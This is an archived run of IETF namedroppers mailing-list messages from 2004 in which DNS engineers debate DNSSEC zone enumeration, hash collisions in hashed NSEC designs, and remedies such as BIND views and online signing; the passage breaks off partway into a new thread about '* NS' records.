<http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: was Re: Avoiding collisions Date: Fri, 17 Sep 2004 20:10:39 -0400 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <200409172204.i8HM4KUG001263@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Sat Sep 18 03:08:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409172204.i8HM4KUG001263@drugs.dv.isc.org> To: namedroppers@ops.ietf.org Precedence: bulk At 8:04 +1000 9/18/04, Mark Andrews wrote: >> OTOH, even if you define a hash mess to avoid collisions at signing >> time, you can't guarantee against a query name's hash clash. > > Thank you Ed. You at least are repeating (if not hearing) > what I have been saying. Well I think a lot of us are coming around to that reality now. I realized it when I wrote the example - by accident. I'm not saying I was the first to realize it - but that's when I realized it. BTW - I have never been a fan of hash approaches, not even then they were first discussed in 99 or so. To me there's a siren's call associated with them. I guess I have been brainwashed into thinking zone enumeration is a given, but really I can understand why it's undesirable (to say the least). So far just about all of the "complaining" (for lack of a better word) about zone enumeration seems to have come from large registries. Question: is zone enumeration a more general "problem?" I ask this because if zone enumeration is only a problem for large registries, can it be assumed that a solution that is heavy-handed be acceptable? Saying "large" carries the assumption of well-funded, attendant operating staff, and with (machine) resources under one control. "Heavy-handed" in the sense that it would take a considerable out-of-band effort to maintain. Digging further, if the assumption can be made that the only organizations that will need to "defend" against zone enumeration are well-funded to do so, an approach like on-line signing appears to be a start to a solution. (I'd call it heavy handed in the sense that key management is needed.) A "start" - I want to emphasize that. This is all premature still, I don't know if we've come to an understanding of the problem (requirements). But all this talk about hashing and salt... -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Hallam-Baker, Phillip" <pbaker@verisign.com> Subject: Collisions irrelevant Date: Sat, 18 Sep 2004 08:11:44 -0700 Lines: 37 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 18 17:26:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "'Robert Elz'" <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk> X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk I read part of the collisions thread. The whole discussion is irrelevant. Consider the requirements: We have a set of names A = {a0, a1,... an } We have a bag of hashes H = {H(a0), H(a1), ... } Let us imagine that we do have a collision such that H(ai) = H(aj) All this means is that the number of intervals that we need to sign is less than the number of names. The real issue that comes up is when you have a collision in the compliment set X = A' = {x0, x1, ... xm} H(ai) = H(xj) This means that you will be unable to provide a response that proves xj does not exist. If we use SHA1 we can reduce the probability of this occurring to 2^160 / n. The probability that the machine will have a failure is much greater than that. If people are really worried we can use SHA256. and still only need 32 bits. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Hallam-Baker, Phillip" <pbaker@verisign.com> Subject: RE: Collisions irrelevant Date: Sat, 18 Sep 2004 08:36:53 -0700 Lines: 60 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 18 17:43:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Hallam-Baker, Phillip" <pbaker@verisign.com>, "'Robert Elz'" <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk> X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk Thats 32 bytes of course. > -----Original Message----- > From: Hallam-Baker, Phillip [mailto:pbaker@verisign.com] > Sent: Saturday, September 18, 2004 11:12 AM > To: 'Robert Elz'; Ben Laurie > Cc: Alex Bligh; namedroppers@ops.ietf.org > Subject: Collisions irrelevant > > > I read part of the collisions thread. > > The whole discussion is irrelevant. Consider the requirements: > > We have a set of names A = {a0, a1,... an } > > We have a bag of hashes H = {H(a0), H(a1), ... } > > Let us imagine that we do have a collision such that > > H(ai) = H(aj) > > All this means is that the number of intervals that we need > to sign is less > than the number of names. > > The real issue that comes up is when you have a collision in > the compliment > set X = A' = {x0, x1, ... xm} > > H(ai) = H(xj) > > This means that you will be unable to provide a response that > proves xj does > not exist. > > > If we use SHA1 we can reduce the probability of this > occurring to 2^160 / n. > > The probability that the machine will have a failure is much > greater than > that. > > If people are really worried we can use SHA256. and still > only need 32 bits. > > > -- > to unsubscribe send a message to > namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 03:54:32 +0000 Lines: 43 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 06:07:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Fri, 17 Sep 2004 20:10:39 -0400." <a06020400bd7129cd074f@[192.168.1.100]> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk ed lewis wrote, as his way of demonstrating that he has me in his KILL file and hasn't read a thing i've posted to namedroppers this year: > ... > > So far just about all of the "complaining" (for lack of a better word) > about zone enumeration seems to have come from large registries. > Question: is zone enumeration a more general "problem?" no. > I ask this because if zone enumeration is only a problem for large > registries, can it be assumed that a solution that is heavy-handed be > acceptable? yes. > ... > > Digging further, if the assumption can be made that the only > organizations that will need to "defend" against zone enumeration are > well-funded to do so, an approach like on-line signing appears to be a > start to a solution. exactly right. if one principle of good engineering is to minimize cost in the average case, then dnssec-bis is nearly complete as-is, and the only thing that's needed is to ensure that online signing isn't a "white lie" but rather signalled unambiguously in the protocol. people who fear enumeration will use "views" if they are a registrant (which they are already doing, according to me), or online signing if they are a registry. people who don't fear enumeration will run vanilla dnssec-bis with no special stuff. everybody will be happy except the registry operators who didn't want to pay extra megabucks for the online signing capability, and nobody will sympathize because we all know they will just pass these costs on to the registrants, or reduce their operating margins, or both. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 12:57:01 +0200 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <200409172204.i8HM4KUG001263@drugs.dv.isc.org> <a06020400bd7129cd074f@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 13:13:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 29 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:WvWdTU5zUHqEu7SUbt9KUMSLbUg= Precedence: bulk Edward Lewis <edlewis@arin.net> writes: > So far just about all of the "complaining" (for lack of a better > word) about zone enumeration seems to have come from large > registries. Question: is zone enumeration a more general "problem?" Yes. The risks in smaller zones further down in the domain tree are different from the risks in zones higher up in the tree, but they do exist. The citation I like to give, on risks in smaller zones, is: Steven M. Bellovin, "Using the Domain Name System for System Break-Ins", in Proceedings of the Fifth Usenix UNIX Security Symposium, Salt Lake City, UT, June, 1995. http://www.research.att.com/~smb/papers/dnshack.pdf > I ask this because if zone enumeration is only a problem for large > registries, can it be assumed that a solution that is heavy-handed be > acceptable? Saying "large" carries the assumption of well-funded, > attendant operating staff, and with (machine) resources under one > control. "Heavy-handed" in the sense that it would take a > considerable out-of-band effort to maintain. Without any details of what you are thinking of, it is difficult to say. Even todays DNSSEC require various out-of-band efforts to maintain; for key exchanges, root key configuration, key rollover etc. If it was on that magnitude, it isn't a problem, but if this is more heavy-handed than that, I'm not so sure. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 15:25:07 +0000 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 17:39:15 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Simon Josefsson <jas@extundo.com> of "Sun, 19 Sep 2004 12:57:01 +0200." <iluoek2le6a.fsf@latte.josefsson.org> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > > So far just about all of the "complaining" (for lack of a better > > word) about zone enumeration seems to have come from large > > registries. Question: is zone enumeration a more general "problem?" > > Yes. The risks in smaller zones further down in the domain tree are > different from the risks in zones higher up in the tree, but they do > exist. The citation I like to give, on risks in smaller zones, is: > > Steven M. Bellovin, "Using the Domain Name System for System > Break-Ins", in Proceedings of the Fifth Usenix UNIX Security > Symposium, Salt Lake City, UT, June, 1995. > http://www.research.att.com/~smb/papers/dnshack.pdf i say no. smaller zones further down in the domain tree who fear enumeration are already using views, because turning off AXFR isn't good enough for them. note that the bellovin paper and presentation were better than mine at the same conference: Vixie, Paul A., "DNS and BIND Security Issues", Proceedings of the Fifth Usenix UNIX Security Symposium, Salt Lake City, UT, June, 1995. http://sa.vix.com/~vixie/bindsec.psf but i stand by what i wrote -- most dns-related breakins up to that time were due to poor dns implementations rather than to data exposure. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 16:59:31 +0100 Lines: 20 Sender: owner-namedroppers@ops.ietf.org References: <20040919152507.A2C2513951@sa.vix.com> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 18:06:51 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Paul Vixie <paul@vix.com>, namedroppers@ops.ietf.org In-Reply-To: <20040919152507.A2C2513951@sa.vix.com> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 19 September 2004 15:25 +0000 Paul Vixie <paul@vix.com> wrote: >>> Question: is zone enumeration a more general "problem?" >> >> Yes ... > i say no. Guys - aren't we back to discussing what our chairs suggested we shouldn't discuss (hence the 20 line statements of position). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 18:17:13 +0200 Lines: 57 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> <20040919152507.A2C2513951@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 18:23:48 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 50 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:x9B2TEnuKkNJD4wbaBLxr1LCM10= Precedence: bulk Paul Vixie <paul@vix.com> writes: >> > So far just about all of the "complaining" (for lack of a better >> > word) about zone enumeration seems to have come from large >> > registries. Question: is zone enumeration a more general "problem?" >> >> Yes. The risks in smaller zones further down in the domain tree are >> different from the risks in zones higher up in the tree, but they do >> exist. The citation I like to give, on risks in smaller zones, is: >> >> Steven M. Bellovin, "Using the Domain Name System for System >> Break-Ins", in Proceedings of the Fifth Usenix UNIX Security >> Symposium, Salt Lake City, UT, June, 1995. >> http://www.research.att.com/~smb/papers/dnshack.pdf > > i say no. smaller zones further down in the domain tree who fear > enumeration are already using views, because turning off AXFR isn't > good enough for them. Aren't views only useful if you can control, or find out, from where the DNS information will be accessed? If owners of a small zone want to be able to go into an Internet cafe (in other words, an "unknown" IP address), and be able to look up their server's hostname in DNS, views doesn't seem to be a solution. My claim is that it is useful for the small zone owner to prevent trivial enumeration via NSEC, but still permit public access to the data. As described in Bellovin's paper, trivial enumeration allow attackers to easily find out names of all targets of an attack. Gathering the same information without trivial NSEC enumeration is more difficult, and may be enough to hold off some percentage of attackers. Since there is no absolute security, fending of some percentage of attackers is what various security measures can hope to achieve. We can discuss the actual percentage figure, but my view is that it is significant. Think "script kiddies" that exploit the latest flaw in Sendmail/OpenSSH/BIND against every server in your domain. The situation is comparable to other databases with public but sensitive information. Like WHOIS. Full access can be restricted, but still queries are allowed. I good discussion of the social aspects is given in <http://www.cs.uwyo.edu/~rex/privacy.html>. In any case, if "views" would be the suggested remedy for this problem for small zones, the idea should be adopted and described by the WG. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <vixie@vix.com> Subject: Re: was Re: Avoiding collisions Date: 19 Sep 2004 17:45:41 +0000 Lines: 74 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> <20040919152507.A2C2513951@sa.vix.com> <cikbrb$c3j$1@sf1.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 19:53:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <cikbrb$c3j$1@sf1.isc.org> Lines: 68 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 Precedence: bulk Simon Josefsson <jas@extundo.com> writes: > Aren't views only useful if you can control, or find out, from where > the DNS information will be accessed? "views" is a BIND9 thing. a view can be selected based on the ip address of a requestor, or on other criteria (like signing with a certain TSIG key). > If owners of a small zone want to be able to go into an Internet cafe > (in other words, an "unknown" IP address), and be able to look up > their server's hostname in DNS, views doesn't seem to be a solution. that's kind of what the TSIG key does for you. > My claim is that it is useful for the small zone owner to prevent > trivial enumeration via NSEC, but still permit public access to the > data. As described in Bellovin's paper, trivial enumeration allow > attackers to easily find out names of all targets of an attack. my counterclaim is that if the public has access to the data, then even a moderately determined attacker can find enough hostnames (from Received: headers in e-mail archives, from web crawling, from traceroute, from doing a dictionary attack) that a small zone owner who is worried about enumeration is going to have to use views to prevent queries from succeeding. turning off axfr, or changing dnssec to prevent nsec-walking, isn't going to be enough for these people. the problem they're having is already in their lives, and allowing nsec-walking doesn't make it worse, and preventing nsec-walking would not make it better. it's worth noting that small zone owners are the primary audience for BIND, and their needs (as revealed by consulting, support, software development, and other contacts made by myself and others at ISC over the last 25 years) are the driving force behind BIND9 having "views" in the first place. i possess direct knowledge, in other words, of who wants this feature, who uses this feature, and why. > Gathering the same information without trivial NSEC enumeration is > more difficult, and may be enough to hold off some percentage of > attackers. Since there is no absolute security, fending of some > percentage of attackers is what various security measures can hope to > achieve. We can discuss the actual percentage figure, but my view is > that it is significant. Think "script kiddies" that exploit the > latest flaw in Sendmail/OpenSSH/BIND against every server in your > domain. this opens a new category of victim -- the hapless kind. you're assuming that folks who would be hurt by enumeration cannot self-identify. this is not my experience -- for instance, BIND4 was the first dns implementation to allow the protocol breakage known as "prohibiting or limiting axfr", and as with views, i know who this was added to please, and why they wanted it. if we're going to specify DNS in such a way that implementations are all required to lock down the set of features that "hapless zone owners" would be injured by if the defaults weren't restrictive, then that's a new topic. presumably such a regime would include restricting zone transfers (which is not described in the protocol), using TSIG to enable views of sensitive data (which is not described in the protocol), and things like strong root passwords, non-world-readable zone files, and so on. that's a big project and it may belong in a different ietf area than the one namedroppers is in. > In any case, if "views" would be the suggested remedy for this problem > for small zones, the idea should be adopted and described by the WG. that's at best premature. the requirements document isn't done yet. this thread is part of a debate as to whether confidentiality should be listed as a requirement. -- Paul Vixie -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: was Re: Avoiding collisions Date: Mon, 20 Sep 2004 08:20:22 +1000 Lines: 39 Sender: owner-namedroppers@ops.ietf.org References: <iluoek2le6a.fsf@latte.josefsson.org> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 00:31:39 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Simon Josefsson <jas@extundo.com> In-reply-to: Your message of "Sun, 19 Sep 2004 12:57:01 +0200." <iluoek2le6a.fsf@latte.josefsson.org> Precedence: bulk > Edward Lewis <edlewis@arin.net> writes: > > > So far just about all of the "complaining" (for lack of a better > > word) about zone enumeration seems to have come from large > > registries. Question: is zone enumeration a more general "problem?" > > Yes. The risks in smaller zones further down in the domain tree are > different from the risks in zones higher up in the tree, but they do > exist. The citation I like to give, on risks in smaller zones, is: > > Steven M. Bellovin, "Using the Domain Name System for System Break-Ins", in > Proceedings of the Fifth Usenix UNIX Security Symposium, Salt Lake City, UT > , > June, 1995. http://www.research.att.com/~smb/papers/dnshack.pdf This is no so much zone enumeration but lack of security in the answers being returned. AXFR was in both the solution and problem spaces. It gave you the names but it also allowed the caches to be protected from spoofing of replies. The problem was and still is that AXFR doesn't scale and you couldn't know in advance all the names that would be added to .rhosts files. As with most things enumeration was not just bad or just good but a mixture. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: was Re: Avoiding collisions Date: Mon, 20 Sep 2004 01:14:12 +0200 Lines: 90 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> <20040919152507.A2C2513951@sa.vix.com> <cikbrb$c3j$1@sf1.isc.org> <g3ekkyduey.fsf@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 01:21:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 83 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:qUqK3WxRoHyxRaNHqiP8HAL0AgA= Precedence: bulk Paul Vixie <vixie@vix.com> writes: >> My claim is that it is useful for the small zone owner to prevent >> trivial enumeration via NSEC, but still permit public access to the >> data. As described in Bellovin's paper, trivial enumeration allow >> attackers to easily find out names of all targets of an attack. > > my counterclaim is that if the public has access to the data, then even a > moderately determined attacker can find enough hostnames (from Received: > headers in e-mail archives, from web crawling, from traceroute, from doing > a dictionary attack) that a small zone owner who is worried about > enumeration is going to have to use views to prevent queries from > succeeding. I don't see how these claims are in conflict. Preventing zone enumeration, like disabling AXFR, prevent some problems. They don't prevent all problems, and may even introduce new ones. I agree that an attacker who spend more time to break in will eventually find Received: headers etc. But that was sort of my point. To secure something, you remove the simple attack vectors first. That is, in this case, zone enumeration. If eventually the total time required for the break in become too costly, you have succeeded. > turning off axfr, or changing dnssec to prevent nsec-walking, > isn't going to be enough for these people. the problem they're having is > already in their lives, and allowing nsec-walking doesn't make it worse, > and preventing nsec-walking would not make it better. We disagree here. I believe preventing nsec-walking may make things better. It is difficult to quantify by how much objectively. > it's worth noting that small zone owners are the primary audience for BIND, > and their needs (as revealed by consulting, support, software development, > and other contacts made by myself and others at ISC over the last 25 years) > are the driving force behind BIND9 having "views" in the first place. i > possess direct knowledge, in other words, of who wants this feature, who > uses this feature, and why. Excellent, let's build on that. What are the motivations for using "views"? What risks do your customers perceive with publishing all their information in public, that presumably made them consider using "views"? > this opens a new category of victim -- the hapless kind. you're assuming > that folks who would be hurt by enumeration cannot self-identify. this is > not my experience -- for instance, BIND4 was the first dns implementation > to allow the protocol breakage known as "prohibiting or limiting axfr", and > as with views, i know who this was added to please, and why they wanted it. > > if we're going to specify DNS in such a way that implementations are all > required to lock down the set of features that "hapless zone owners" would > be injured by if the defaults weren't restrictive, then that's a new topic. I'm not saying that. Instead, and naturally, implementors that don't perceive that their users fear zone enumeration should not implement proposals like NSECbis. > presumably such a regime would include restricting zone transfers (which is > not described in the protocol), using TSIG to enable views of sensitive > data (which is not described in the protocol), and things like strong root > passwords, non-world-readable zone files, and so on. that's a big project > and it may belong in a different ietf area than the one namedroppers is in. Right. It seems, at best, something for DNSOP. >> In any case, if "views" would be the suggested remedy for this problem >> for small zones, the idea should be adopted and described by the WG. > > that's at best premature. the requirements document isn't done yet. this > thread is part of a debate as to whether confidentiality should be listed > as a requirement. I don't think the term "confidentiality" properly describe what the requirement should be here. The word's negative connotations are heavy, from the vanilla DNS point of view, which suggest that "confidentiality" shouldn't be a requirement. Perhaps you get another thought process if you ask whether permitting new vulnerabilities to DNSSEC should be a requirement or not. Neither spin is useful, though. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: Collisions irrelevant Date: Mon, 20 Sep 2004 08:39:13 +0200 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <C6DDA43B91BFDA49AA2F1E473732113E010BEBA8@mou1wnexm05.vcorp.ad.vrsn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: 'Robert Elz' <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 12:12:36 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.7.1 (Macintosh/20040626) X-Accept-Language: en-us, en To: "Hallam-Baker, Phillip" <pbaker@verisign.com> In-Reply-To: <C6DDA43B91BFDA49AA2F1E473732113E010BEBA8@mou1wnexm05.vcorp.ad.vrsn.com> Precedence: bulk Hallam-Baker, Phillip wrote: >I read part of the collisions thread. > >The whole discussion is irrelevant. Consider the requirements: > >We have a set of names A = {a0, a1,... an } > >We have a bag of hashes H = {H(a0), H(a1), ... } > >Let us imagine that we do have a collision such that > >H(ai) = H(aj) > >All this means is that the number of intervals that we need to sign is less >than the number of names. > >The real issue that comes up is when you have a collision in the compliment >set X = A' = {x0, x1, ... xm} > >H(ai) = H(xj) > >This means that you will be unable to provide a response that proves xj does >not exist. > > As in A' is the set of names that are not in the zone? Let me see if I understand this. If I cannot proof that the record does not exist I'd would expect data that I queried for (Q-truple). At least a piece of data that provides proof that at the xj ownername (QNAME) there is no such type as QTYPE. I get no such data and I get no data of the nonexistence of the ownername xj.... error case. This could be used for a DOS attack on the server, if the client requeries in case of the above error case. Security considerations can address this. handwave, handwave, :-) --Olaf namedropper. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Collisions irrelevant Date: Mon, 20 Sep 2004 11:24:53 +0100 Lines: 66 Sender: owner-namedroppers@ops.ietf.org References: <C6DDA43B91BFDA49AA2F1E473732113E010BEBA8@mou1wnexm05.vcorp.ad.vr sn.com> <414E7B11.9050402@ripe.net> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: 'Robert Elz' <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 12:35:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Olaf M. Kolkman" <olaf@ripe.net>, "Hallam-Baker, Phillip" <pbaker@verisign.com> In-Reply-To: <414E7B11.9050402@ripe.net> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 20 September 2004 08:39 +0200 "Olaf M. Kolkman" <olaf@ripe.net> wrote: > Let me see if I understand this. If I cannot proof that the record does > not exist I'd would expect data that I queried for (Q-truple). At least a > piece of data that provides proof that at the xj ownername (QNAME) there > is no such type as QTYPE. > > I get no such data and I get no data of the nonexistence of the ownername > xj.... error case. This could be used for a DOS attack on the server, if > the client requeries in case of the above error case. Security > considerations can address this. You have to distinguish between a query for the Q-tuple relating to ai and a query relating to xj, remembering that in the denial of existence record, UNIFORM non-enumerability as proposed thusfar suggests that you cannot reveal the QNAME for ai. The problem is that you cannot deny x(j) as the only available interval for denial is H(a(i)) ... H(a(i+1)). You have two strategies: 1. If you treat that as an open interval, you are not denying H(a(i)) and H(a(i+1)) (just the hash values between them) and thus can't use this to deny x(j) which has the same hash as H(a(i)). 2. If you treat it as a closed interval (i.e. as denying H(a(i)) itself and thus denying x(j)), you have to make an exception for a(i) itself (obviously) which can only be done by the presence of other records (QTYPE for instance). If resolvers worked that way (by policy, to cope with potential hash collisions), they'd then be open to an attack (even with out an ACTUAL hash collision) involving interception and removal of the all replies except the NSEC', which would lead the resolver to ASSUME a hash collision had occurred and say "I have an NSEC' but no other records, I thus assume this is the xj case, IE something with the same hash as something in the zone", i.e. an easy man-in-the-middle attack which falsely denies the existence of any RR (and indeed falsely makes the resolver think the server has become 'famous'). There is a third strategy which I outlined earlier, and which Ben independently came up with a far better version (off-list). That is simply that if there is a query x(j), which is non-existent but has a hash equal to an existing record, you simply return a traditional NSEC record [*], rather than an NSEC' record (as the resolver has to cope with either for denial anyway, this complicates nothing). This will allow zone enumerability only to the extent the attacker can find a colliding hash for each RR (i.e. in practice not at all). This addresses Phil's problem (which is the same as the one I posted marked "this *is* a problem"), and together with salting for non-self colliding, I think this addresses all the hash collision problems. [*] this has the minor nit that you'd clearly want to avoid returning NSEC records in response to queries of QTYPE NSEC in an NSEC' zone, which is arguably a bit of special server behaviour for NSEC to support NSEC' functionality. An alternate approach is just to allow NSEC' records with any hash algorithm, and specify that two mandatory hash algorithms are SHA-1 (or whatever) and the identity mapping. Then return identity (read unhashed) NSEC' in the case of a query for a colliding hash such as x(j). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: * NS Date: Mon, 20 Sep 2004 15:34:35 +0100 Lines: 118 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 16:52:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk Since midday yesterday a couple of RIPE attendees have talked about the "* NS" issue. A couple of things seem clearer now (at least to me), but still we have a conundrum. The current thinking is that there should be no 